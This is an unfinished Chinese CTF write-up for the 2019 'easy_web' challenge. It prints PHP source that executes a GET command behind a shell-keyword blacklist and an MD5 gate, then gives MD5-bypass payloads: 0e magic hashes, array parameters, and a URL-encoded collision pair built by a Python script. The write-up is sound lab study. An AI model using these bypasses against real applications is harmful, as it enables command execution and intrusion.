[安洵杯 2019]easy_web 未完成 <?php error_reporting(E_ALL || ~ E_NOTICE); header('content-type:text/html;charset=utf-8' ); $cmd  = $_GET ['cmd' ];if  (!isset ($_GET ['img' ]) || !isset ($_GET ['cmd' ]))     header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=' ); $file  = hex2bin(base64_decode(base64_decode($_GET ['img' ])));$file  = preg_replace("/[^a-zA-Z0-9.]+/" , "" , $file );if  (preg_match("/flag/i" , $file )) {    echo  '<img src ="./ctf3.jpeg">' ;     die ("xixi~ no flag" ); } else  {     $txt  = base64_encode(file_get_contents($file ));     echo  "<img src='data:image/gif;base64,"  . $txt  . "'></img>" ;     echo  "<br>" ; } echo  $cmd ;echo  "<br>" ;if  (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i" , $cmd )) {    echo ("forbid ~" );     echo  "<br>" ; } else  {     if  ((string )$_POST ['a' ] !== (string )$_POST ['b' ] && md5($_POST ['a' ]) === md5($_POST ['b' ])) {         echo  `$cmd `;     } else  {         echo  ("md5 is funny ~" );     } } ?> <html> <style>   body{    background:url(./bj.png)  no-repeat center center;    background-size:cover;    background-attachment:fixed;    background-color: } </style> <body> </body> </html> 
至于md5碰撞的话,本来可以用数组绕过,但是这里使用了(String)强制转换,数组被强制转换的结果都为string(5) "Array"
MD5强碰撞 md5弱比较,为0e开头的会被识别为科学记数法,结果均为0
param1=QNKCDZO¶m2=aabg7XSs 
两个参数不是字符串,而是数组,md5()函数无法解出其数值,而且不会报错,就会得到===强比较的值相等
param1[]=111 ¶m2[]=222  
MD5碰撞的例子 
hex2bin.py hexString1 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2'  hexString2 = '4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2'  hexList1 = [] intList1 = [] asciiString1 =''  while  True :    intString1 = hexString1[0 :2 ]     hexString1 = hexString1[2 :]     hexList1.append(intString1)     if  (hexString1 == '' ):         break  for  i in  hexList1:    intList1.append(int (i,16 )) for  j in  intList1:    asciiString1 += chr (int (j)) f = open ('1.bin' ,'w' ) f.write(asciiString1) f.close() hexList2 = [] intList2 = [] asciiString2 =''  while  True :    intString2 = hexString2[0 :2 ]     hexString2 = hexString2[2 :]     hexList2.append(intString2)     if  (hexString2 == '' ):         break  for  i in  hexList2:    intList2.append(int (i,16 )) for  j in  intList2:    asciiString2 += chr (int (j)) f = open ('2.bin' ,'w' ) f.write(asciiString2) f.close() 
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2